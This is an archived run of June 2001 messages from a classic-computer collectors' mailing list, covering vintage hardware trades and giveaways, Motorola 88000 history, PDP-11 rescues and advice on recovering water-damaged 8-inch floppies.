04:33:45 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:16 2005 Subject: Free stuff In-Reply-To: References: Message-ID: <0106070538520B.00835@fatty> On Thu, 07 Jun 2001, you wrote: > On Wed, 6 Jun 2001, Arthur Clark wrote: > Larger deskside Q-bus systems like the MicroVAX-II; the MicroVAX 3300, > 3400, 3600, 3900, and some of the VAX 4000 line are good starters. > They're relatively cheap. In some cases they're pretty slow with the > exception of the VAX 4000 systems. Most of the Q-bus modules are fairly > inexpensive--with the notable exception of SCSI disk/tape controllers. > They're new enough that you really don't have to worry too much about > their components getting flakey--again, maybe with the exception of some > of the older MFM drives used in the MicroVAX-II series. They're big > enough that people are impressed by their size. They're small enough that > you can move them by yourself. Ditto. I started with a MicroVAX 3300 in a B215 chassis and although certainly not 'desktop' portable, it rolls around nicely and is not too bad speed wise. > Beyond that, for operating systems you can choose >between the hobbyist > version of OpenVMS for VAX and the freely available >NetBSD/vax UNIX. > > If you don't care so much about having a bigger than average system, you > can always find one of the rather slim VAXstation 3100s cheaply--even on > eBay. They have the benefit of being equipped with built-in SCSI > controllers too. As far as Apple equipment goes, I have some MAC stuff that will be going as well. Thanks, Brian. > > -brian. -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From dbetz at xlisper.mv.com Thu Jun 7 06:16:56 2001 From: dbetz at xlisper.mv.com (David Betz) Date: Sun Feb 27 19:04:16 2005 Subject: Will trade classic HW for CP/M 2.2 help! References: <3B1EBBF7.BF6B2B6F@tiac.net> Message-ID: <006f01c0ef43$5d13f450$ba23010a@dbnh> > a Symbolics 3645 Lisp Machine > (with 2 monitors, and full doc set) I'm interested in the Symbolics Lisp Machine but don't have CP/M 2.2 to trade. Is there anything else you're looking for? From dhquebbeman at theestopinalgroup.com Thu Jun 7 07:00:45 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:16 2005 Subject: Altair 8800 front panel lamps Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510C3@jeffserver.tegjeff.com> > From: Douglas Quebbeman > > >I live for the day when Outlook or Exchange allow me to > >simply establish a filter that strips all incoming mail > >of any HTML.... > > I live for the day I can strip OE for a real mailer not the cartoon thing > MS pushes off. My kind of mailer is Vax Mail. Nice simple command > line text mailer. I'm surprised that Elm and Pine haven't been ported to Win32 Console apps... -dq From allain at panix.com Thu Jun 7 09:48:47 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:16 2005 Subject: Free stuff References: Message-ID: <013601c0ef60$f5ba4ca0$8a0101ac@ibm23xhr06> From: Brian Chase > > Larger deskside Q-bus systems like the MicroVAX-II; the > MicroVAX 3300, 3400, 3600, 3900, and some of the VAX > 4000 line are good starters.... Hey, what happened to the 3500? John A. From mcguire at neurotica.com Thu Jun 7 09:55:11 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:16 2005 Subject: In-Reply-To: Re: (Brian Roth) References: <01060622043608.00835@fatty> <15134.62939.46168.465741@phaduka.neurotica.com> <0106070530240A.00835@fatty> Message-ID: <15135.38351.444978.459834@phaduka.neurotica.com> On June 7, Brian Roth wrote: > Great! A couple of former DEC brokers I contacted did not even know what a > RV20 was. Shipping might be a bear though as I believe the weight will be > similar to and RL drive. Oh, that won't be a problem. I've shipped RK drives...as in RK07. 8) -Dave McGuire From claudew at videotron.ca Thu Jun 7 11:23:53 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:16 2005 Subject: FOR TRADE...: APPLE IIGS Official Pubs. BOOKS reference Harware/Software manual set series (last time - they really gotta go...help please...) Message-ID: <00c701c0ef6e$3e4627c0$0200a8c0@gamerclaude> Yes, I have posted these before, bear with me please...its the last time... Well I have stumbled upon this box full of books again that I have offered a few times here. A few trade offers fell through but now I hope to get these to a good home...they must go now as part of my Spring cleaning 2001 project (now extending into summer 2001...) I would like to trade these - I dont use ebay to buy or sell so they wont go there. Id like to get something in return because I paid a bit of $ for these when I got them as part of a Apple IIgs bundle.... They are a box full of all the reference manuals for the IIgs hardware and software, I think 9-10 hard/softcover books in all. Toolbox reference vol 1,2,3...programmer intro to the Apple IIgs, etc... See a pic at : http://members.tripod.com/computer_collector/iigs/iigsbks.jpg I would except a trade for vintage stuff (home/hobby 8 bits/16 bits) not too common or better yet : as recent as possible SUN or SGI computers/equipement. Thanks Claude http://members.tripod.com/computer_collector From bdc at world.std.com Thu Jun 7 11:30:58 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:16 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371510C3@jeffserver.tegjeff.com> Message-ID: On Thu, 7 Jun 2001, Douglas Quebbeman wrote: > > I live for the day I can strip OE for a real mailer not the cartoon thing > > MS pushes off. My kind of mailer is Vax Mail. Nice simple command > > line text mailer. > I'm surprised that Elm and Pine haven't been ported to Win32 Console > apps... Well, there is PC-Pine for Win32 systems. I haven't used it myself, so I can't vouch for how well it compares to the pine which used under UNIX. I believe they're very similar though. http://www.washington.edu/pine/pc-pine/ -brian. From ken at seefried.com Thu Jun 7 14:51:12 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:16 2005 Subject: Motorola 88000 In-Reply-To: <200106071621.LAA81104@opal.tseinc.com> References: <200106071621.LAA81104@opal.tseinc.com> Message-ID: <20010607195112.8920.qmail@mail.seefried.com> Interesting architecture. Brain dump follows; forgive inacurracy due to bit-rot in the brain. The 88000 was Motorola's' stab at RISC technology, after deciding (well, being told by customers), that there wasn't much interest in follow-ons to the 68040 (look how few 68060 adopters their were, relatively speaking). It came out in 1988, placing it late compared to the rest of the 1st generation of commercial RISC. Harvard architecture, 32 GP registers, register renaming, pipelined w/ interlocks, on-chip FPU, well defined co-processor interface and later on, superscalar & speculative execution. Later versions, as I recall, also had special bit manipulation instructions designed to manipulate pixel data (distant shades of Intel MMX) with seperate functional units to execute those instructions. All the right buzzwords, and it had very competative integer & FP benchmark numbers (I recall ~17MIPs & ~20MFLOPs @ 20MHz for the 88100, depending on speed). I know they ran at 16.67MHz, 20MHz, 25MHz & 33MHz; not sure about other speeds. It started life as a fairly typical multi-chip Motorola design, which certainly impacted manufacturing costs. There was a core CPU chip (the 88100), then some number of 88200 or 88204 CMMU chips, which provided 16KB or 64KB cache, respectively, and an MMU. Cache had split I+D buses, with a given chip dedicated to one or the other bus. One could use 0 to 8 CMMUs, giving up to 256K+256K I+D cache per CPU. AFAIK, 2 was the most common number, and 3 or more was rare due to cost. I know the BBN TC2000 used 3 per CPU, which gave 32KB I & 16K D cache (or vice versa). I can't recall off the top of my head a machine that used more than 4, though there certainly were some. Someone once told me that an Omron Luna used a single 88200 per processor. I've never seen one, so I can't confirm, nor would I know if it was caching instructions or data. Many folks used just the 88100 CPU for embedded applications. NCD built a bunch of 88k Xterminals sans CMMUs, for example. The later (and much faster) 88110 processor integrated MMU & cache (8k+8k I+D) on chip, much like what happened between the 68020 and the 68030 (well...sans cache to be pedantic). They also added more functional units. There was an 88120 that was planned but never saw the light of day. There was plug-and-play hardware support (e.g. hardware cache coherency mechanism) for up to 4 way multiprocessing, so you saw a lot of 2- and 4-way multis. Spinlocks, etc., were real easy to implement on the 88k. Motorola had a pretty strong ABI spec for SVR3 & SVR4 (88Open), which would have been useful had the chip been more successful. Not that I want to provide the canonical list of 88k machines, but I'm guessing DG sold the most 88000 machines. I personally used a Tektronics XD88, which was a beast performer at the time. Encore built a big 88k multi, as did BBN. There were a lot of MVME-based systems, with various badges. There are a bunch of rare/odd machines as well (the Omron Luna is significant because of it's role in developing Mach). As one poster pointed out, Apple considered using the 88000 (including producing prototype hardware and partially porting MacOS), as did NeXT. In the end, Motorola decided (for many reasons that I won't begin to untangle) to back the IBM PowerPC chip. The rest, as they say, is history. ObObscureHistoricalFootnote: DG apparently ported DG/UX to the SPARC at one point. To return the favor, Sun ported Solaris 2.5 to the PowerPC (the chip that replaced the 88000). Doubtful anyone ever purchased either product. That's how I remember it...I could be wrong... Ken Seefried, CISSP From ard at p850ug1.demon.co.uk Thu Jun 7 13:32:35 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:16 2005 Subject: Nobody wants an HP-150? In-Reply-To: <5.1.0.14.0.20010606234300.03198b70@freenet.enviroweb.org> from "Arthur Clark" at Jun 6, 1 11:44:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1367 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010607/57f59b2d/attachment.ksh From gunther at aurora.regenstrief.org Thu Jun 7 15:31:11 2001 From: gunther at aurora.regenstrief.org (Gunther Schadow) Date: Sun Feb 27 19:04:16 2005 Subject: Who needs or wants some C64 computers, 1541s drives, 1541 II drives? References: <002901c0ec74$756ccd00$0200a8c0@gamerclaude> Message-ID: <3B1FE48F.4CEC06FF@aurora.regenstrief.org> Hi Claude, I would take C64(s) is any left. Don't dumpem. Thanx! -Gunther "Claude.W" wrote: > > Hi > > Still cleaning up here (seems I do this everyweek now) and noticed I have > way too many.... > > C64s (tan version) with power supply > 1541 Disk Drives > 1541 II Disk Drives with power supply > C64 Programmers reference guides > > I threw out all the bad shape ones, gave some away and still have way too > many...about 4 of each... > > All of these are clean and work. They could be going to dump this week if no > takers but it's ashame cause they are fine shape... > > See more of the stuff I have to giveaway/trade: > > http://computer_collector.tripod.com > or > http://members.tripod.com/computer_collector/ > > Claude -- Gunther Schadow, M.D., Ph.D. gschadow@regenstrief.org Medical Information Scientist Regenstrief Institute for Health Care Adjunct Assistant Professor Indiana University School of Medicine tel:1(317)630-7960 http://aurora.regenstrief.org From anheier at owt.com Thu Jun 7 15:44:40 2001 From: anheier at owt.com (Beth Anheier) Date: Sun Feb 27 19:04:16 2005 Subject: Misc computer boards available for trade Message-ID: I am cleaning out my closets and have the following available. I am mostly interested in trades for older CPUs, coprocessors etc. All the board should be in good working order, but no guarantees. Shipping is on your nickel. Please email me directly at anheier@owt.com. Thanks Norm 1) Intel EtherExpress 16TP Lan Adapter, ISA bus. 2) NuVista+ Video digitizer for macintosh, can drive external VGA monitor, software and manual, Nubus bus. 3) SuperMac Video card for one of their monitors, Nubus bus 4) Mac IIci Cache Card, macintosh cache slot 5) Orchid Technology Prodesigner II video card, IBM MCA bus 6) UDS_ISSII PC/ISA SCSI Port card, ISA bus 7) Ungermann-Bass Ethernet Adapter, ISA bus 8) Apple Hi-Res Display Video card, Nubus bus 9) SCSI LVD/SE, Ultra2 SCSI card, IBM MCA bus 10) UMAX computer, M604e 150MHz daughter card, tested to work in apple 7600, 8600, etc. From owad at applefritter.com Thu Jun 7 16:11:07 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:04:16 2005 Subject: free RS/6000 410 Message-ID: <20010607211107.12761@mail.earthlink.net> IBM RISCSystem/6000 410 HD, CD-ROM, and lock removed, unknown RAM, unnkown condition, needs cleaned up. Buyer pays shipping. Tom Applefritter www.applefritter.com From dhquebbeman at theestopinalgroup.com Thu Jun 7 16:23:12 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:16 2005 Subject: Motorola 88000 Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510D7@jeffserver.tegjeff.com> > Not that I want to provide the canonical list of 88k machines, but I'm > guessing DG sold the most 88000 machines. I personally used a Tektronics > XD88, which was a beast performer at the time. Encore built a big 88k > multi, as did BBN. There were a lot of MVME-based systems, with various > badges. There are a bunch of rare/odd machines as well (the Omron Luna is > significant because of it's role in developing Mach). As one poster pointed > out, Apple considered using the 88000 (including producing prototype > hardware and partially porting MacOS), as did NeXT. The Apollo Domain DN10000 used up to (was it 8?) 88k cpu's... it was modular in some way, so that a system could be expanded. I hope to add a DN10000 to the collection, eventually... -dq From donm at cts.com Thu Jun 7 16:30:48 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:16 2005 Subject: Kaypro artifacts Message-ID: A friend is cleaning out some storage space and has a couple of boxes of Kaypro related items available for pickup or shipping only. Each box is approximately 12x12x16". One contains 5.25" DSDD diskettes containing an accumulation of programs from his BBS days. The second is of manuals and magazines - Profile, etc. Sorry, I can't be more specific, but if you are interested contact Milton Blackstone at 858-459-8255. He would like to see them go this month. Thanks. - don From lance at costanzo.net Thu Jun 7 16:31:56 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:16 2005 Subject: Nobody wants an HP-150? Message-ID: <3.0.32.20010607143155.0210a408@costanzo.net> >An HP150 is a PC-incompatible. It's an 8088-based machine that runs >MS-DOS (if you add an optional disk drive), but not IBM PC MS-DOS. It is >not compatible with the PC at the hardware or BIOS level, so most >software has to be specially written for the HP150. >Without a disk drive you can't (obviously) boot MS-DOS. But there is a HP >terminal emulator in the ROM which will run with out a disk drive being >connected. If you need an HP-compatible terminal for some other machine, >the HP150 is a possible choice. There's a couple of other uses for it: 1) It can run HP-Word from an HP-3000. 2) With a floppy, it can be used to boot an HP-3000 Series 70. 3) With a touchscreen, its a great terminal for a dumb blonde. http://www.kzin.com/trader/blonde.jpg (off the cover of a manual, I think her name is P.A.M.) It wasn't a bad little computer for its time. But by making it so incompatible HP missed the boat, as usual. Lance. From red at bears.org Thu Jun 7 16:35:54 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:16 2005 Subject: Motorola 88000 In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371510D7@jeffserver.tegjeff.com> Message-ID: On Thu, 7 Jun 2001, Douglas Quebbeman wrote: > The Apollo Domain DN10000 used up to (was it 8?) 88k cpu's... it > was modular in some way, so that a system could be expanded. No. The DN10000 accepted one to four Apollo PRISM CPUs. They were not Motorola 88000-series CPUs. The PRISM CPU ran at 18.18 MHz, and was Apollo's own design. I believe that after HP bought Apollo in 1989, features of the PRISM were either merged into the PA-RISC architecture, or taken to develop the PA-RISC. Don't quote me on that though. ok r. From ard at p850ug1.demon.co.uk Thu Jun 7 16:38:57 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:16 2005 Subject: Nobody wants an HP-150? In-Reply-To: <3.0.32.20010607143155.0210a408@costanzo.net> from "Lance Costanzo" at Jun 7, 1 02:31:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1242 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010607/3518d0f3/attachment.ksh From spectre at stockholm.ptloma.edu Thu Jun 7 17:05:29 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:16 2005 Subject: Motorola 88000 In-Reply-To: from "r. 'bear' stricklin" at "Jun 7, 1 05:35:54 pm" Message-ID: <200106072205.PAA09530@stockholm.ptloma.edu> > The PRISM CPU ran at 18.18 MHz, and was Apollo's own design. I believe > that after HP bought Apollo in 1989, features of the PRISM were either > merged into the PA-RISC architecture, or taken to develop the PA-RISC. > Don't quote me on that though. I'm pretty sure at least the PA-RISC FPU is from the PRISM, according to the sources I have, and possibly made some contributions to the overall architecture as well. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- What happens when you get scared half-to-death twice? ---------------------- From sieler at allegro.com Thu Jun 7 17:37:49 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:16 2005 Subject: Will trade classic H/W for CP/M 2.2 help! In-Reply-To: <3B1EBFC1.1318277C@tiac.net> Message-ID: <3B1F9FCD.8631.2F86BDC1@localhost> Hi, > To any CP/M 2.2 users with 8-inch SSSD floppy disks... > If any list member can help, I'm willing to trade classic hardware such > as an HP That's a nice offer, and if my back were better, I'd try to talk you out of those machines. However, I suspect that on this list you could simply say "can anyone send me CP/M 2.2 ..." and you'd get some volunteers. I'd send it if I had any of my 8" systems working yet! :) Good luck, Stan Sieler Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From donm at cts.com Thu Jun 7 17:54:17 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:16 2005 Subject: Will trade classic H/W for CP/M 2.2 help! In-Reply-To: <3B1F9FCD.8631.2F86BDC1@localhost> Message-ID: On Thu, 7 Jun 2001, Stan Sieler wrote: > Hi, > > > To any CP/M 2.2 users with 8-inch SSSD floppy disks... > > If any list member can help, I'm willing to trade classic hardware such > > as an HP > > That's a nice offer, and if my back were better, I'd try to talk you > out of those machines. > > However, I suspect that on this list you could simply say "can anyone > send me CP/M 2.2 ..." and you'd get some volunteers. I'd send it if > I had any of my 8" systems working yet! :) Stan is right, but I guess that I missed this one. Specifically, what are you looking for? - don > Good luck, > > Stan Sieler > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > From rhblake at bigfoot.com Thu Jun 7 18:24:15 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:16 2005 Subject: Eltron 16VAC adapters Message-ID: Still have 2 left of the ones listed below if anyone's interested: -------------------------- I have some AC adapters I bought in a lot, I gave $1 each for them and pulled what I need from them. Input is 120VAC 60hz 800ma and output on a standard round/tubular "coax" connector is 16VAC, 4A. Fused with a 5A/250V fuse built in and changeable if blown. They're bricks with about 3 ft of wire to the 2 prong AC plug and about 3 ft to the coax adapter. Brick measures about 3" wide, 3.5" deep and 2.5" high. Made by Eltron with the part number 808061-001. I have 4 I need to get rid of at $1.00 each plus applicable postage. They weigh 3 lbs each. Someone can have them all or just 1, 2, etc. I'm in central KY in zip 42726 in the event someone wishes to calc shipping. ---------------------------------- From rcini at optonline.net Thu Jun 7 20:42:46 2001 From: rcini at optonline.net (Richard A. Cini, Jr.) Date: Sun Feb 27 19:04:16 2005 Subject: SYM1 Page Message-ID: Hello, all: "Massimo from Italy" has been sending me more scans and stuff related to the SYM1. So much so, that I may put up a "SYM1 page" on Highgate. He's now working on scanning the SYM Physis, a newsletter for SYM users (1979-1982). If anyone has anything they'd like to post, let me know off list. Also, I'm looking for a small Web-sized picture of the SYM for the page (I don't have a SYM to photograph). Thanks. Rich Rich Cini Collector of classic computers Build Master for the Altair32 Emulation Project Web site: http://highgate.comm.sfu.ca/~rcini/classiccmp/ /************************************************************/ From jhellige at earthlink.net Thu Jun 7 21:09:57 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:16 2005 Subject: SYM1 Page In-Reply-To: References: Message-ID: > "Massimo from Italy" has been sending me more scans and stuff >related to >the SYM1. So much so, that I may put up a "SYM1 page" on Highgate. He's now >working on scanning the SYM Physis, a newsletter for SYM users (1979-1982). There are 8 or 9 issues of that newsletter already converted to PDF and on the web. I have the URL at work..I'll post it to the list tomorrow. > If anyone has anything they'd like to post, let me know off >list. Also, I'm >looking for a small Web-sized picture of the SYM for the page (I don't have >a SYM to photograph). I have a Synertek SY VIM Model 1, which Sellam pointed out to me previously as being an early version of the SYM-1. I could try to photograph it if you would like. It also came with the book 'MCS6500 Microcomputer Family Hardware Manual' dated August 1975 and copyright MOS Technology. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From Lee.Davison at merlincommunications.com Thu Jun 7 21:18:45 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:04:16 2005 Subject: SYM1 Page Message-ID: <707AA588EE28D311BCD50090276D7D0007A298@BUSH02> Richard, > the SYM1. So much so, that I may put up a "SYM1 page" > on Highgate. He's now working on scanning the SYM Physis, > a newsletter for SYM users (1979-1982). Issues 1 to 10 are allready available on www.6502.org Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call 01285 884400. From jss at ou.edu Thu Jun 7 21:32:33 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:16 2005 Subject: Huge PDP-11 rescue opportunity Message-ID: <991967553.3b20394186926@email.ou.edu> Well, I guess it's time to let the cat out of the bag with this one... I've been planning a very nice equipment rescue in Seattle for some time now, but as circumstances are, I will not be able to afford the trip. I'd rather not see anything scrapped, so I am hoping someone on the list will be able to pick up where I'm leaving off. What we have is a *bunch* of OEM and third-party PDP-11 equipment. Here's an overview. There are two types of systems: old and new. Both were made by ATEX using a combination of DEC and custom hardware. The old systems consisted of, originally, PDP-11/34s and 04s. These were upgraded later on by replacing the CPU cards with with a single card with a J11 processor and a SIMM on board. The old systems are in black 6ft racks which have a blue ATEX legend at the top instead of the traditional DEC legend. Each rack contains one PDP-11/34 or /04 box up top and an additional backplane down below with gobs of custom ATEX cards. Each of the new systems looks a bit like two PDP-11/44s in a white 4ft cabinet, but as I understand it, they use the same boards as the updated old systems. The systems are "networked" using some special hardware that connects all of the Unibuses. They share a system of disks and a tape drive. Some of the systems have a built-in small SCSI drive and JAZ drive; these particular machines may not be available at the moment. Here's an inventory. Old systems (13 total): 9 currently in operation, 5 available next month 4 out of operation, 2 available now They're going to keep 4 of these for another year. New systems (8 total): 4 currently in operation, 4 available next month (?) 4 out of operation, 4 available now Approximately 20 hard drive systems. These were some sort of CDC 8" drive, but were converted to 300MB-1GB SCSI drives. The cases were reused. At least one Kennedy 9100 tape drive. Boxes of old boards and spare boards. As you might have guessed, they are still in the process of decommisioning the systems. As far as I can tell, each cabinet is being removed from the computer room as it decommisioned and prepared for shipping. The prepped cabinets are brought to a warehouse where they await pickup. The owners want $100 for the entire lot. If you are interested in rescuing this lot, please reply to me. The owners wish not to be barraged with e-mail, so I will manage the selection and briefing of the new picker-upper. I have a contact in Seattle that went to the location, took pictures, and wrote most of what you just read. I can send those pictures to anyone who's interested. >From what I can see, the equipment looks to be in pristine condition, having been well cared for in their computer room. I hope that it makes a nice find for someone. -- Jeffrey S. Sharp jss@ou.edu From bshannon at tiac.net Thu Jun 7 21:53:32 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:17 2005 Subject: Will trade classic H/W for CP/M 2.2 help! References: <3B1F9FCD.8631.2F86BDC1@localhost> Message-ID: <3B203E2C.C4C5B33D@tiac.net> Thanks for the tip Stan, but I kinda need more room for anything nice I may find at VCF East! Stan Sieler wrote: > Hi, > > > To any CP/M 2.2 users with 8-inch SSSD floppy disks... > > If any list member can help, I'm willing to trade classic hardware such > > as an HP > > That's a nice offer, and if my back were better, I'd try to talk you > out of those machines. > > However, I suspect that on this list you could simply say "can anyone > send me CP/M 2.2 ..." and you'd get some volunteers. I'd send it if > I had any of my 8" systems working yet! :) > > Good luck, > > Stan Sieler > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From bshannon at tiac.net Thu Jun 7 21:55:38 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:17 2005 Subject: Will trade classic HW for CP/M 2.2 help! References: <3B1EBBF7.BF6B2B6F@tiac.net> <006f01c0ef43$5d13f450$ba23010a@dbnh> Message-ID: <3B203EAA.92E4809@tiac.net> Hello David, You come highly reccomended as a good home for a lispm. Where are you located? David Betz wrote: > > a Symbolics 3645 Lisp Machine > > (with 2 monitors, and full doc set) > > I'm interested in the Symbolics Lisp Machine but don't have CP/M 2.2 to > trade. Is there anything else you're looking for? From ajp166 at bellatlantic.net Thu Jun 7 21:58:55 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:17 2005 Subject: PDP-11/53+ Jumpers Message-ID: <00d501c0efc7$02f4ec70$37799a8d@ajp166> From: Pete Turnbull >like that. But a box labeled 11/53 and having an 11/23 procssor in it is > an 11/23, not an 11/53. It won't run RSX-11M or Ultrix configured for an >11/53, or various things. An 11/23 would run RSX-11 just not the I&D kernal, same for Ultrix depending on version. >I'm surprised you say it's common. I can see that in a few cases the >processor might be removed to use elsewhere, but how many systems end up >with a 5-years-older processor in them? In my experience, it's much more It was happening when the processors were NEW. Seems it made a very compact fairly fast system if the DEC box was not used. However early on getting the bare CPU was difficult so people bout 11/53s, snatched the cpu and resold them with commonly available 11/23s (as Micropdp-11s) >common to see systems with later processors in them (though I'm thinking of >11/03 -> 11/23, 11/23 -> 11/73, 11/73 -> 11/83, microVAX -> microVAX-II >upgrades). Yep, like my 11T03 that has a BA11N and 11/73 cpu or maybe my microvax-ii that was downgraded to a Micropdp-11. ;) Allison From Lee.Davison at merlincommunications.com Thu Jun 7 22:02:09 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:04:17 2005 Subject: OSI BASIC Message-ID: <707AA588EE28D311BCD50090276D7D0007A29A@BUSH02> A while ago Bill Sudbrink wrote .. I just acquired Microsoft 8K basic in ROM for OSI on paper tape. I currently have no facility to read it, so I don't know if it is source or object. The tape seems to be in good shape (doesn't seem to be fragile) so it should be good for a few passes through a reader. I'll let you know. ... Was it ever read? If so is it available? Cheers, Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call 01285 884400. From bills at adrenaline.com Thu Jun 7 22:35:00 2001 From: bills at adrenaline.com (Bill Sudbrink) Date: Sun Feb 27 19:04:17 2005 Subject: OSI BASIC In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A29A@BUSH02> Message-ID: > A while ago Bill Sudbrink wrote .. > I just acquired Microsoft 8K basic in ROM for OSI on paper tape. > I currently have no facility to read it, so I don't know if it > is source or object. The tape seems to be in good shape (doesn't > seem to be fragile) so it should be good for a few passes through > a reader. I'll let you know. > > ... Was it ever read? If so is it available? Haven't been able to gain access to a reader yet... From terryc at woa.com.au Thu Jun 7 22:57:00 2001 From: terryc at woa.com.au (Terry Collins) Date: Sun Feb 27 19:04:17 2005 Subject: IBEX CPM Computers Message-ID: <3B204D0C.7B8D85CF@woa.com.au> Can anyone enliten me about these computers. I was invited to help someone clean out his garage. Ibex, CPM 2.2 I have received a two dual floppy machine, one is 8" floppies and the other is 5" floppies. Also need to know the best way to recover 8" floppies that are water affected. In the haul was a VZ200 with tape drive and some IBM Jr (?) If someone wants the IBM box, they are welcome. I'm in Sydney Australia.. taah. -- Terry Collins {:-)}}} Ph(02) 4627 2186 Fax(02) 4628 7861 email: terryc@woa.com.au www: http://www.woa.com.au WOA Computer Services "People without trees are like fish without clean water" From donm at cts.com Fri Jun 8 00:04:30 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:17 2005 Subject: IBEX CPM Computers In-Reply-To: <3B204D0C.7B8D85CF@woa.com.au> Message-ID: On Fri, 8 Jun 2001, Terry Collins wrote: > Can anyone enliten me about these computers. I was invited to help > someone clean out his garage. > > Ibex, CPM 2.2 I have received a two dual floppy machine, one is 8" > floppies and the other is 5" floppies. > > Also need to know the best way to recover 8" floppies that are water > affected. Rather depends upon the degree of affectation. As a first step, I would find enough 8" floppies of the same type (SS/DSDD) as are affected plus at least one. Trim off the top edge of the jacket of one of the good disks and remove the disk. Do the same to one of the damaged ones of the same type. Keep track of which is the upper side. If needed - probably - gently wash the surfaces of the disk with a mild soap solution and rinse with distilled water. Air dry. When dry, insert into the prepared jacket, insert in drive and make a copy to one of the other disk. Repeat for other damaged disks. You can save the removed disks between clean paper if you like with side and disk name marked in the hub area. - don > In the haul was a VZ200 with tape drive and some IBM Jr (?) > > If someone wants the IBM box, they are welcome. I'm in Sydney > Australia.. > > taah. > -- > Terry Collins {:-)}}} Ph(02) 4627 2186 Fax(02) 4628 7861 > email: terryc@woa.com.au www: http://www.woa.com.au > WOA Computer Services > > "People without trees are like fish without clean water" > From foo at siconic.com Thu Jun 7 23:54:52 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:17 2005 Subject: SYM1 Page In-Reply-To: Message-ID: On Thu, 7 Jun 2001, Jeff Hellige wrote: > I have a Synertek SY VIM Model 1, which Sellam pointed out to me > previously as being an early version of the SYM-1. I could try to > photograph it if you would like. It also came with the book 'MCS6500 > Microcomputer Family Hardware Manual' dated August 1975 and copyright > MOS Technology. The VIM-1 was renamed the SYM-1 when Commodore complained to Synertek that VIM was too close to KIM :) Sorry, I forget off-hand what VIM stands for. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From wind at coxnc.rr.com Fri Jun 8 02:44:35 2001 From: wind at coxnc.rr.com (Gabe Steiger) Date: Sun Feb 27 19:04:17 2005 Subject: OT stories about phone phreaking Message-ID: <000601c0efee$ddeb1580$4a399dac@coxnc.rr.com> Is it still possible to phreak a phone by unscrewing the talk speaker? I tried unscrewing the mouth peice once, could not unscrew it. Bastard would NOT budge. Thanks Note: From a very new newbie to phreaking :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010608/a64b84cf/attachment.html From pete at dunnington.u-net.com Fri Jun 8 02:11:16 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:17 2005 Subject: PDP-11/53+ Jumpers 